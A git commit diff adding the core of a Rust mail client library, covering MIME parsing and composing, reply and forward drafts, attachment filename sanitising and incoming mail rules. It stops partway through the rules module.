[repo] Merge: feature/core-v0.1 (Core v0.1: parse, compose, threading, rules, sanitiser, search)
This commit is contained in:
Generated
+1260
File diff suppressed because it is too large
Load Diff
+26
@@ -0,0 +1,26 @@
|
||||
[package]
|
||||
name = "epistula-core"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
rust-version = "1.85"
|
||||
license = "MPL-2.0"
|
||||
description = "Epistula Domi core: MIME parse and compose, threading, rules, HTML sanitising, search queries. Pure, no I/O."
|
||||
repository = "https://gitea.marek-novak.cz/mnovak/EpistulaPublic"
|
||||
publish = false
|
||||
|
||||
[dependencies]
|
||||
ammonia = "4.2.4"
|
||||
base64 = "0.23.1"
|
||||
mail-builder = { version = "2.0.1", default-features = false }
|
||||
mail-parser = "1.0.1"
|
||||
serde = { version = "1.0.229", features = ["derive"] }
|
||||
|
||||
[dev-dependencies]
|
||||
proptest = "1.12.0"
|
||||
rusqlite = { version = "0.41.1", features = ["bundled"] }
|
||||
|
||||
[profile.test]
|
||||
opt-level = 1
|
||||
|
||||
[profile.dev.package."*"]
|
||||
opt-level = 2
|
||||
@@ -0,0 +1,10 @@
|
||||
# epistula-core
|
||||
|
||||
The public core of **Epistula Domi**, the Domi family mail client: MIME parsing and composing, reply / reply all /
|
||||
forward drafts, safe attachment names, conversation threading, incoming rules (with a Sieve export), the HTML
|
||||
sanitiser and the search query parser.
|
||||
|
||||
Pure Rust: no I/O, no clock, no randomness, no network. Every byte of incoming mail is treated as hostile.
|
||||
The tests in `tests/` are the specification: `cargo test`.
|
||||
|
||||
Licence: MPL-2.0.
|
||||
@@ -0,0 +1,2 @@
|
||||
max_width = 120
|
||||
use_small_heuristics = "Max"
|
||||
+276
@@ -0,0 +1,276 @@
|
||||
//! Composing outgoing mail (mail-builder), and the drafts for reply, reply all and forward.
|
||||
//!
|
||||
//! Pure: the caller gives the Message-ID and the date. MIME boundaries are derived from the Message-ID, so the
|
||||
//! same draft always gives the same bytes.
|
||||
|
||||
use crate::sanitize::{InlineImage, SanitizeOptions, sanitize, text_to_html};
|
||||
use crate::{Address, Parsed};
|
||||
use mail_builder::MessageBuilder;
|
||||
use mail_builder::headers::address::Address as MbAddress;
|
||||
use mail_builder::headers::content_type::ContentType;
|
||||
use mail_builder::headers::message_id::MessageId;
|
||||
use mail_builder::mime::MimePart;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::hash::{Hash, Hasher};
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct Draft {
|
||||
pub from: Address,
|
||||
pub to: Vec<Address>,
|
||||
pub cc: Vec<Address>,
|
||||
/// Never written into the message: the SMTP envelope only.
|
||||
pub bcc: Vec<Address>,
|
||||
pub subject: String,
|
||||
/// Line endings are `\n`.
|
||||
pub text: String,
|
||||
pub html: Option<String>,
|
||||
pub attachments: Vec<OutAttachment>,
|
||||
/// Without angle brackets.
|
||||
pub in_reply_to: Option<String>,
|
||||
pub references: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct OutAttachment {
|
||||
pub filename: String,
|
||||
pub content_type: String,
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Draft {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Draft")
|
||||
.field("to", &self.to.len())
|
||||
.field("attachments", &self.attachments.len())
|
||||
.finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for OutAttachment {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("OutAttachment").field("bytes", &self.data.len()).finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub enum ReplyMode {
|
||||
Sender,
|
||||
All,
|
||||
}
|
||||
|
||||
/// A Message-ID from 16 random bytes the caller supplies and the sender's domain, without brackets.
|
||||
pub fn message_id(random: [u8; 16], domain: &str) -> String {
|
||||
let hex: String = random.iter().map(|b| format!("{b:02x}")).collect();
|
||||
let domain: String = domain.chars().filter(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '-')).collect();
|
||||
let domain = domain.trim_matches(['.', '-']);
|
||||
format!("{hex}@{}", if domain.is_empty() { "localhost" } else { domain })
|
||||
}
|
||||
|
||||
fn crlf(s: &str) -> String {
|
||||
crate::mime::normalize_newlines(s).replace('\n', "\r\n")
|
||||
}
|
||||
|
||||
fn mb_address(a: &Address) -> MbAddress<'_> {
|
||||
MbAddress::new_address(a.name.as_deref(), a.email.as_str())
|
||||
}
|
||||
|
||||
fn mb_list(list: &[Address]) -> MbAddress<'_> {
|
||||
MbAddress::new_list(list.iter().map(mb_address).collect())
|
||||
}
|
||||
|
||||
fn boundary(message_id: &str, kind: &str) -> String {
|
||||
let mut h = std::collections::hash_map::DefaultHasher::new();
|
||||
message_id.hash(&mut h);
|
||||
kind.hash(&mut h);
|
||||
// `=_` never occurs in base64 or quoted-printable output, so the boundary cannot collide with a body.
|
||||
format!("=_ep_{kind}_{:016x}", h.finish())
|
||||
}
|
||||
|
||||
/// The RFC 5322 bytes of `draft`, with the given Message-ID (no brackets) and Date (Unix seconds).
|
||||
pub fn compose(draft: &Draft, message_id: &str, date: i64) -> Vec<u8> {
|
||||
let text = crlf(&draft.text);
|
||||
let html = draft.html.as_deref().map(crlf);
|
||||
|
||||
let mut builder = MessageBuilder::new()
|
||||
.from(mb_address(&draft.from))
|
||||
.subject(draft.subject.as_str())
|
||||
.message_id(message_id)
|
||||
.date(date);
|
||||
if !draft.to.is_empty() {
|
||||
builder = builder.to(mb_list(&draft.to));
|
||||
}
|
||||
if !draft.cc.is_empty() {
|
||||
builder = builder.cc(mb_list(&draft.cc));
|
||||
}
|
||||
if let Some(parent) = draft.in_reply_to.as_deref() {
|
||||
builder = builder.in_reply_to(parent);
|
||||
}
|
||||
if !draft.references.is_empty() {
|
||||
builder = builder.references(MessageId::new_list(draft.references.iter().map(String::as_str)));
|
||||
}
|
||||
|
||||
let text_part = MimePart::new("text/plain", text);
|
||||
let body = match html {
|
||||
Some(html) => MimePart::new(
|
||||
ContentType::new("multipart/alternative").attribute("boundary", boundary(message_id, "alt")),
|
||||
vec![text_part, MimePart::new("text/html", html)],
|
||||
),
|
||||
None => text_part,
|
||||
};
|
||||
let body = if draft.attachments.is_empty() {
|
||||
body
|
||||
} else {
|
||||
let mut parts = vec![body];
|
||||
for a in &draft.attachments {
|
||||
parts.push(
|
||||
MimePart::new(ContentType::new(a.content_type.as_str()), a.data.as_slice())
|
||||
.attachment(a.filename.as_str()),
|
||||
);
|
||||
}
|
||||
MimePart::new(ContentType::new("multipart/mixed").attribute("boundary", boundary(message_id, "mixed")), parts)
|
||||
};
|
||||
|
||||
builder.body(body).write_to_vec().unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Leading `Re:` / `Fwd:` prefixes of `subject` removed, then one `prefix` added.
|
||||
fn prefixed(prefix: &str, subject: &str) -> String {
|
||||
let rest = crate::thread::strip_prefixes(subject).0.trim();
|
||||
format!("{prefix} {rest}").trim_end().to_string()
|
||||
}
|
||||
|
||||
fn dedupe(list: impl IntoIterator<Item = Address>, exclude: &[Address]) -> Vec<Address> {
|
||||
let mut out: Vec<Address> = Vec::new();
|
||||
for a in list {
|
||||
if !exclude.iter().any(|e| e.same_mailbox(&a)) && !out.iter().any(|o| o.same_mailbox(&a)) {
|
||||
out.push(a);
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn sender_line(original: &Parsed) -> String {
|
||||
original.from.first().map(Address::display).unwrap_or_else(|| "Unknown sender".to_string())
|
||||
}
|
||||
|
||||
fn quote_text(text: &str) -> String {
|
||||
text.trim_end()
|
||||
.split('\n')
|
||||
.map(|line| if line.is_empty() { ">".to_string() } else { format!("> {line}") })
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
}
|
||||
|
||||
fn escape(s: &str) -> String {
|
||||
s.replace('&', "&").replace('<', "<").replace('>', ">").replace('"', """)
|
||||
}
|
||||
|
||||
/// The original's HTML (or text) made safe for the composer, inline images embedded.
|
||||
fn original_html(original: &Parsed) -> String {
|
||||
let inline_images: HashMap<String, InlineImage<'_>> = original
|
||||
.attachments
|
||||
.iter()
|
||||
.filter_map(|a| {
|
||||
a.content_id.clone().map(|cid| (cid, InlineImage { content_type: &a.content_type, data: &a.data }))
|
||||
})
|
||||
.collect();
|
||||
match &original.html {
|
||||
Some(html) => sanitize(html, &SanitizeOptions { load_remote_images: false, inline_images }).html,
|
||||
None => text_to_html(original.text.as_deref().unwrap_or("")),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn reply(original: &Parsed, me: &Address, mode: ReplyMode) -> Draft {
|
||||
let mine = original.from.iter().any(|a| a.same_mailbox(me));
|
||||
let primary = if mine {
|
||||
original.to.clone()
|
||||
} else if !original.reply_to.is_empty() {
|
||||
original.reply_to.clone()
|
||||
} else {
|
||||
original.from.clone()
|
||||
};
|
||||
let to = dedupe(primary, if mine { &[] } else { std::slice::from_ref(me) });
|
||||
let cc = match mode {
|
||||
ReplyMode::Sender => Vec::new(),
|
||||
ReplyMode::All => {
|
||||
let mut exclude = to.clone();
|
||||
exclude.push(me.clone());
|
||||
dedupe(original.to.iter().chain(original.cc.iter()).cloned(), &exclude)
|
||||
}
|
||||
};
|
||||
|
||||
let attribution = match &original.date_text {
|
||||
Some(date) => format!("On {date}, {} wrote:", sender_line(original)),
|
||||
None => format!("{} wrote:", sender_line(original)),
|
||||
};
|
||||
let text = format!("\n\n{attribution}\n{}\n", quote_text(original.text.as_deref().unwrap_or("")));
|
||||
let html = format!(
|
||||
"<p><br></p><p>{}</p><blockquote style=\"margin: 0 0 0 0.8ex; border-left: 2px solid #888; padding-left: 1ex\">{}</blockquote>",
|
||||
escape(&attribution),
|
||||
original_html(original)
|
||||
);
|
||||
|
||||
let mut references = original.references.clone();
|
||||
if let Some(id) = &original.message_id {
|
||||
if !references.contains(id) {
|
||||
references.push(id.clone());
|
||||
}
|
||||
}
|
||||
|
||||
Draft {
|
||||
from: me.clone(),
|
||||
to,
|
||||
cc,
|
||||
bcc: Vec::new(),
|
||||
subject: prefixed("Re:", &original.subject),
|
||||
text,
|
||||
html: Some(html),
|
||||
attachments: Vec::new(),
|
||||
in_reply_to: original.message_id.clone(),
|
||||
references,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn forward(original: &Parsed, me: &Address) -> Draft {
|
||||
let list = |l: &[Address]| l.iter().map(Address::display).collect::<Vec<_>>().join(", ");
|
||||
let mut header = vec![format!("From: {}", sender_line(original))];
|
||||
if let Some(date) = &original.date_text {
|
||||
header.push(format!("Date: {date}"));
|
||||
}
|
||||
header.push(format!("Subject: {}", original.subject));
|
||||
if !original.to.is_empty() {
|
||||
header.push(format!("To: {}", list(&original.to)));
|
||||
}
|
||||
if !original.cc.is_empty() {
|
||||
header.push(format!("Cc: {}", list(&original.cc)));
|
||||
}
|
||||
|
||||
let text = format!(
|
||||
"\n\n---------- Forwarded message ----------\n{}\n\n{}\n",
|
||||
header.join("\n"),
|
||||
original.text.as_deref().unwrap_or("").trim_end()
|
||||
);
|
||||
let html = format!(
|
||||
"<p><br></p><p>---------- Forwarded message ----------<br>{}</p>{}",
|
||||
header.iter().map(|h| escape(h)).collect::<Vec<_>>().join("<br>"),
|
||||
original_html(original)
|
||||
);
|
||||
|
||||
Draft {
|
||||
from: me.clone(),
|
||||
subject: prefixed("Fwd:", &original.subject),
|
||||
text,
|
||||
html: Some(html),
|
||||
attachments: original
|
||||
.attachments
|
||||
.iter()
|
||||
.map(|a| OutAttachment {
|
||||
filename: a.filename.clone(),
|
||||
content_type: a.content_type.clone(),
|
||||
data: a.data.clone(),
|
||||
})
|
||||
.collect(),
|
||||
..Default::default()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
//! Attachment names from mail are hostile: `../../evil.exe`, `CON.txt`, `invoice\u{202E}fdp.exe`.
|
||||
|
||||
/// The longest name kept, in characters (the extension is kept when cutting).
|
||||
pub const MAX_FILENAME_CHARS: usize = 120;
|
||||
|
||||
const FALLBACK: &str = "attachment";
|
||||
|
||||
fn is_bidi_or_invisible(c: char) -> bool {
|
||||
matches!(c,
|
||||
'\u{200B}'..='\u{200F}' // zero width, LRM, RLM
|
||||
| '\u{061C}' // Arabic letter mark
|
||||
| '\u{202A}'..='\u{202E}' // embeddings and overrides
|
||||
| '\u{2066}'..='\u{2069}' // isolates
|
||||
| '\u{FEFF}')
|
||||
}
|
||||
|
||||
fn is_reserved_windows_name(stem: &str) -> bool {
|
||||
let upper = stem.trim_end_matches([' ', '.']).to_ascii_uppercase();
|
||||
match upper.as_str() {
|
||||
"CON" | "PRN" | "AUX" | "NUL" | "CONIN$" | "CONOUT$" => true,
|
||||
s if s.len() == 4 && (s.starts_with("COM") || s.starts_with("LPT")) => s.as_bytes()[3].is_ascii_digit(),
|
||||
// COM¹ COM² COM³ LPT¹ … (Windows reserves the superscript digits too)
|
||||
s if (s.starts_with("COM") || s.starts_with("LPT")) && s.chars().count() == 4 => {
|
||||
matches!(s.chars().nth(3), Some('¹' | '²' | '³'))
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// A name that is safe to create in any directory on Windows, Android and iOS, and that shows what it is.
|
||||
pub fn safe_filename(raw: &str) -> String {
|
||||
// Only the last path component, whatever the separator.
|
||||
let last = raw.rsplit(['/', '\\']).next().unwrap_or("");
|
||||
// A drive prefix like `C:` that had no separator after it.
|
||||
let last = match last.find(':') {
|
||||
Some(i) if i == 1 => &last[2..],
|
||||
_ => last,
|
||||
};
|
||||
|
||||
let mut name: String = last
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() && !is_bidi_or_invisible(*c))
|
||||
.map(|c| match c {
|
||||
'<' | '>' | ':' | '"' | '|' | '?' | '*' => '_',
|
||||
c => c,
|
||||
})
|
||||
.collect();
|
||||
|
||||
// No leading dots (hidden files, `..`), no trailing dots or spaces (Windows strips them).
|
||||
name = name.trim_start_matches(['.', ' ']).trim_end_matches(['.', ' ']).to_string();
|
||||
// `..` inside a name is harmless as a path once separators are gone, but never keep the sequence.
|
||||
while name.contains("..") {
|
||||
name = name.replace("..", ".");
|
||||
}
|
||||
if name.is_empty() {
|
||||
return FALLBACK.to_string();
|
||||
}
|
||||
|
||||
let stem = name.split('.').next().unwrap_or("");
|
||||
if is_reserved_windows_name(stem) {
|
||||
name.insert(0, '_');
|
||||
}
|
||||
|
||||
cut(&name)
|
||||
}
|
||||
|
||||
/// Cut to `MAX_FILENAME_CHARS`, keeping a short extension.
|
||||
fn cut(name: &str) -> String {
|
||||
let count = name.chars().count();
|
||||
if count <= MAX_FILENAME_CHARS {
|
||||
return name.to_string();
|
||||
}
|
||||
let ext = match name.rfind('.') {
|
||||
Some(i) if name[i..].chars().count() <= 16 && i > 0 => &name[i..],
|
||||
_ => "",
|
||||
};
|
||||
let keep = MAX_FILENAME_CHARS - ext.chars().count();
|
||||
let stem: String = name.chars().take(keep).collect();
|
||||
let stem = stem.trim_end_matches(['.', ' ']);
|
||||
let mut out = format!("{stem}{ext}");
|
||||
// Trimming can make it shorter; pad is not needed, but never return something ending in a dot.
|
||||
while out.ends_with(['.', ' ']) {
|
||||
out.pop();
|
||||
}
|
||||
if out.is_empty() { FALLBACK.to_string() } else { out }
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
//! `epistula-core`: everything Epistula Domi does with mail content, kept pure so it can be read and tested.
|
||||
//!
|
||||
//! No I/O, no clock, no randomness, no network: Message-IDs and dates are parameters. Every byte of an
|
||||
//! incoming message is hostile input. Nothing here panics on it.
|
||||
|
||||
pub mod compose;
|
||||
pub mod filename;
|
||||
pub mod mime;
|
||||
pub mod rules;
|
||||
pub mod sanitize;
|
||||
pub mod search;
|
||||
pub mod thread;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// One mailbox: an optional display name and an address.
|
||||
#[derive(Clone, PartialEq, Eq, Hash, Serialize, Deserialize, Default)]
|
||||
pub struct Address {
|
||||
pub name: Option<String>,
|
||||
pub email: String,
|
||||
}
|
||||
|
||||
impl Address {
|
||||
pub fn new(name: Option<&str>, email: &str) -> Address {
|
||||
Address {
|
||||
name: name.map(str::trim).filter(|n| !n.is_empty()).map(str::to_owned),
|
||||
email: email.trim().to_owned(),
|
||||
}
|
||||
}
|
||||
|
||||
/// `Name <email>` or `email`: what rules and search match against.
|
||||
pub fn display(&self) -> String {
|
||||
match &self.name {
|
||||
Some(name) => format!("{name} <{}>", self.email),
|
||||
None => self.email.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
/// The same mailbox, ignoring the display name and the case of the address.
|
||||
pub fn same_mailbox(&self, other: &Address) -> bool {
|
||||
self.email.trim().eq_ignore_ascii_case(other.email.trim())
|
||||
}
|
||||
}
|
||||
|
||||
/// Addresses are personal data: `Debug` never prints them (they could end up in a log).
|
||||
impl std::fmt::Debug for Address {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.write_str("Address([redacted])")
|
||||
}
|
||||
}
|
||||
|
||||
pub use compose::{Draft, OutAttachment, ReplyMode, compose, forward, message_id, reply};
|
||||
pub use filename::safe_filename;
|
||||
pub use mime::{Attachment, ParseError, Parsed, parse};
|
||||
pub use rules::{Condition, Field, Rule, RuleMessage, first_match, to_sieve};
|
||||
pub use sanitize::{SanitizeOptions, Sanitized, sanitize, text_to_html};
|
||||
pub use search::{Query, parse_query};
|
||||
pub use thread::{ThreadInput, normalize_subject, thread};
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
//! Parsing a raw RFC 5322 message (mail-parser) into what the app stores and shows.
|
||||
|
||||
use crate::{Address, safe_filename};
|
||||
use mail_parser::{MessageParser, MessagePart, PartKind};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Larger messages are refused before parsing (Proton's own limit is 25 MB of attachments).
|
||||
pub const MAX_MESSAGE_BYTES: usize = 64 * 1024 * 1024;
|
||||
/// A subject longer than this is cut (characters).
|
||||
pub const MAX_SUBJECT_CHARS: usize = 998;
|
||||
/// At most this many addresses per field are kept.
|
||||
pub const MAX_ADDRESSES: usize = 500;
|
||||
/// At most this many attachments are kept; the rest are counted in `dropped_attachments`.
|
||||
pub const MAX_ATTACHMENTS: usize = 500;
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct Parsed {
|
||||
pub message_id: Option<String>,
|
||||
pub in_reply_to: Vec<String>,
|
||||
pub references: Vec<String>,
|
||||
pub subject: String,
|
||||
pub from: Vec<Address>,
|
||||
pub to: Vec<Address>,
|
||||
pub cc: Vec<Address>,
|
||||
pub reply_to: Vec<Address>,
|
||||
/// Seconds since the Unix epoch, from the Date header.
|
||||
pub date: Option<i64>,
|
||||
/// The Date header as RFC 822 text, for "On <date>, <name> wrote:".
|
||||
pub date_text: Option<String>,
|
||||
/// Line endings are `\n`.
|
||||
pub text: Option<String>,
|
||||
pub html: Option<String>,
|
||||
pub attachments: Vec<Attachment>,
|
||||
pub dropped_attachments: usize,
|
||||
}
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct Attachment {
|
||||
/// Already safe for a file system (`safe_filename`).
|
||||
pub filename: String,
|
||||
pub content_type: String,
|
||||
/// Without the angle brackets.
|
||||
pub content_id: Option<String>,
|
||||
pub inline: bool,
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Bodies and attachments are personal data: `Debug` prints sizes only.
|
||||
impl std::fmt::Debug for Parsed {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Parsed")
|
||||
.field("text_len", &self.text.as_ref().map(String::len))
|
||||
.field("html_len", &self.html.as_ref().map(String::len))
|
||||
.field("attachments", &self.attachments.len())
|
||||
.finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Attachment {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Attachment")
|
||||
.field("bytes", &self.data.len())
|
||||
.field("inline", &self.inline)
|
||||
.finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub enum ParseError {
|
||||
TooLarge,
|
||||
NotMail,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ParseError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
ParseError::TooLarge => write!(f, "message larger than {MAX_MESSAGE_BYTES} bytes"),
|
||||
ParseError::NotMail => f.write_str("not a mail message"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ParseError {}
|
||||
|
||||
/// At most this many Message-IDs are kept from In-Reply-To and References.
|
||||
pub const MAX_REFERENCES: usize = 100;
|
||||
|
||||
pub fn parse(raw: &[u8]) -> Result<Parsed, ParseError> {
|
||||
if raw.len() > MAX_MESSAGE_BYTES {
|
||||
return Err(ParseError::TooLarge);
|
||||
}
|
||||
if raw.iter().all(u8::is_ascii_whitespace) {
|
||||
return Err(ParseError::NotMail);
|
||||
}
|
||||
let message = MessageParser::new().parse(raw).ok_or(ParseError::NotMail)?;
|
||||
|
||||
let subject: String =
|
||||
message.subject().unwrap_or("").chars().filter(|c| !c.is_control()).take(MAX_SUBJECT_CHARS).collect();
|
||||
|
||||
let text = join_bodies(message.text_body().filter_map(|part| part.text()));
|
||||
// mail-parser converts a text-only message to HTML; the app renders text itself, so keep real HTML only.
|
||||
let html = join_bodies(
|
||||
message.html_body().filter(|part| matches!(part.kind(), PartKind::Html)).filter_map(|part| part.text()),
|
||||
);
|
||||
|
||||
let mut attachments = Vec::new();
|
||||
let mut dropped_attachments = 0;
|
||||
for part in message.attachments() {
|
||||
if attachments.len() >= MAX_ATTACHMENTS {
|
||||
dropped_attachments += 1;
|
||||
continue;
|
||||
}
|
||||
attachments.push(attachment(&part));
|
||||
}
|
||||
|
||||
Ok(Parsed {
|
||||
message_id: message.message_id().map(clean_id).filter(|id| !id.is_empty()),
|
||||
in_reply_to: ids(message.in_reply_to()),
|
||||
references: ids(message.references()),
|
||||
subject: subject.trim().to_string(),
|
||||
from: addresses(message.from()),
|
||||
to: addresses(message.to()),
|
||||
cc: addresses(message.cc()),
|
||||
reply_to: addresses(message.reply_to()),
|
||||
date: message.date().map(|d| d.to_timestamp()),
|
||||
date_text: message.date().map(|d| d.to_rfc822()),
|
||||
text,
|
||||
html,
|
||||
attachments,
|
||||
dropped_attachments,
|
||||
})
|
||||
}
|
||||
|
||||
fn join_bodies<'a>(parts: impl Iterator<Item = std::borrow::Cow<'a, str>>) -> Option<String> {
|
||||
let mut out = String::new();
|
||||
for part in parts {
|
||||
if !out.is_empty() {
|
||||
out.push('\n');
|
||||
}
|
||||
out.push_str(&part);
|
||||
}
|
||||
if out.is_empty() { None } else { Some(normalize_newlines(&out)) }
|
||||
}
|
||||
|
||||
pub(crate) fn normalize_newlines(s: &str) -> String {
|
||||
s.replace("\r\n", "\n").replace('\r', "\n")
|
||||
}
|
||||
|
||||
fn clean_id(id: &str) -> String {
|
||||
id.trim().trim_start_matches('<').trim_end_matches('>').trim().chars().take(998).collect()
|
||||
}
|
||||
|
||||
fn ids(list: Option<mail_parser::TextList<'_>>) -> Vec<String> {
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
for id in list.iter().flat_map(|l| l.iter()) {
|
||||
let id = clean_id(id);
|
||||
if !id.is_empty() && !out.contains(&id) && out.len() < MAX_REFERENCES {
|
||||
out.push(id);
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn addresses(list: Option<mail_parser::AddressList<'_>>) -> Vec<Address> {
|
||||
list.iter()
|
||||
.flat_map(|l| l.mailboxes())
|
||||
.filter_map(|m| {
|
||||
let email = m.address()?.trim();
|
||||
if email.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let name = m.name().map(|n| n.chars().filter(|c| !c.is_control()).collect::<String>());
|
||||
Some(Address::new(name.as_deref(), email))
|
||||
})
|
||||
.take(MAX_ADDRESSES)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn attachment(part: &MessagePart<'_>) -> Attachment {
|
||||
let content_type = part
|
||||
.content_type()
|
||||
.map(|ct| match ct.subtype() {
|
||||
Some(sub) => format!("{}/{}", ct.ctype(), sub),
|
||||
None => ct.ctype().to_string(),
|
||||
})
|
||||
.map(|ct| ct.to_ascii_lowercase())
|
||||
.filter(|ct| ct.len() <= 127 && ct.chars().all(|c| c.is_ascii_graphic()))
|
||||
.unwrap_or_else(|| "application/octet-stream".to_string());
|
||||
|
||||
let content_id = part.content_id().map(clean_id).filter(|id| !id.is_empty());
|
||||
let declared_attachment = part.content_disposition().is_some_and(|d| d.is_attachment());
|
||||
let inline = content_id.is_some() && !declared_attachment;
|
||||
|
||||
let (name, data) = match part.kind() {
|
||||
PartKind::Message(nested) => {
|
||||
let name = part
|
||||
.attachment_name()
|
||||
.map(str::to_owned)
|
||||
.unwrap_or_else(|| format!("{}.eml", nested.subject().unwrap_or("message")));
|
||||
let name = if name.to_ascii_lowercase().ends_with(".eml") { name } else { format!("{name}.eml") };
|
||||
(name, part.decoded().into_owned())
|
||||
}
|
||||
_ => {
|
||||
let name = part.attachment_name().map(str::to_owned).unwrap_or_else(|| {
|
||||
let ext = content_type.rsplit('/').next().unwrap_or("bin");
|
||||
format!("attachment.{ext}")
|
||||
});
|
||||
(name, part.decoded().into_owned())
|
||||
}
|
||||
};
|
||||
|
||||
Attachment { filename: safe_filename(&name), content_type, content_id, inline, data }
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
//! Incoming rules: conditions on From / To / Subject ("contains", case-insensitive, all must hold), one action
|
||||
//! (move to a folder), first match wins. The model is Sieve's `header :contains` + `fileinto`, so V2 can compile
|
||||
//! the same rules to a server-side script (`to_sieve`).
|
||||
|
||||
use crate::Address;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum Field {
|
||||
From,
|
||||
/// To and Cc.
|
||||
To,
|
||||
Subject,
|
||||
}
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct Condition {
|
||||
pub field: Field,
|
||||
pub contains: String,
|
||||
}
|
||||
|
||||
#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct Rule {
|
||||
pub name: String,
|
||||
pub conditions: Vec<Condition>,
|
||||
pub folder: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Rule {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Rule").field("conditions", &self.conditions.len()).finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Condition {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Condition").field("field", &self.field).finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
/// Why a rule cannot be saved.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub enum RuleError {
|
||||
NoConditions,
|
||||
EmptyText,
|
||||
NoFolder,
|
||||
}
|
||||
|
||||
impl Rule {
|
||||
/// A rule with no condition, an empty text or no folder would match everything or nothing.
|
||||
pub fn validate(&self) -> Result<(), RuleError> {
|
||||
if self.conditions.is_empty() {
|
||||
return Err(RuleError::NoConditions);
|
||||
}
|
||||
if self.conditions.iter().any(|c| c.contains.trim().is_empty()) {
|
||||
return Err(RuleError::EmptyText);
|
||||
}
|
||||
if self.folder.trim().is_empty() {
|
||||
return Err(RuleError::NoFolder);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// The rule "Rule from this mail": sender address -> folder.
|
||||
pub fn from_sender(sender: &Address, folder: &str) -> Rule {
|
||||
let email = sender.email.trim().to_lowercase();
|
||||
Rule {
|
||||
name: format!("From {email}"),
|
||||
conditions: vec![Condition { field: Field::From, contains: email }],
|
||||
folder: folder.trim().to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a rule looks at.
|
||||
pub struct RuleMessage<'a> {
|
||||
pub from: &'a [Address],
|
||||
pub to: &'a [Address],
|
||||
pub cc: &'a [Address],
|
||||
pub subject: &'a str,
|
||||
}
|
||||
|
||||
/// The first valid rule whose conditions all hold, or `None` (the message stays where it is).
|
||||
pub fn first_match<'r>(rules: &'r [Rule], message: &RuleMessage<'_>) -> Option<&'r Rule> {
|
||||
rules.iter().find(|rule| rule.validate().is_ok() && rule.conditions.iter().all(|c| holds(c, message)))
|
||||
}
|
||||
|
||||
fn holds(condition: &Condition, message: &RuleMessage<'_>) -> bool {
|
||||
let needle = condition.contains.trim().to_lowercase();
|
||||
let any = |list: &[Address]| list.iter().any(|a| a.display().to_lowercase().contains(&needle));
|
||||
match condition.field {
|
||||
Field::From => any(message.from),
|
||||
Field::To => any(message.to) || any(message.cc),
|
||||
Field::Subject => message.subject.to_lowercase().contains(&needle),
|
||||
}
|
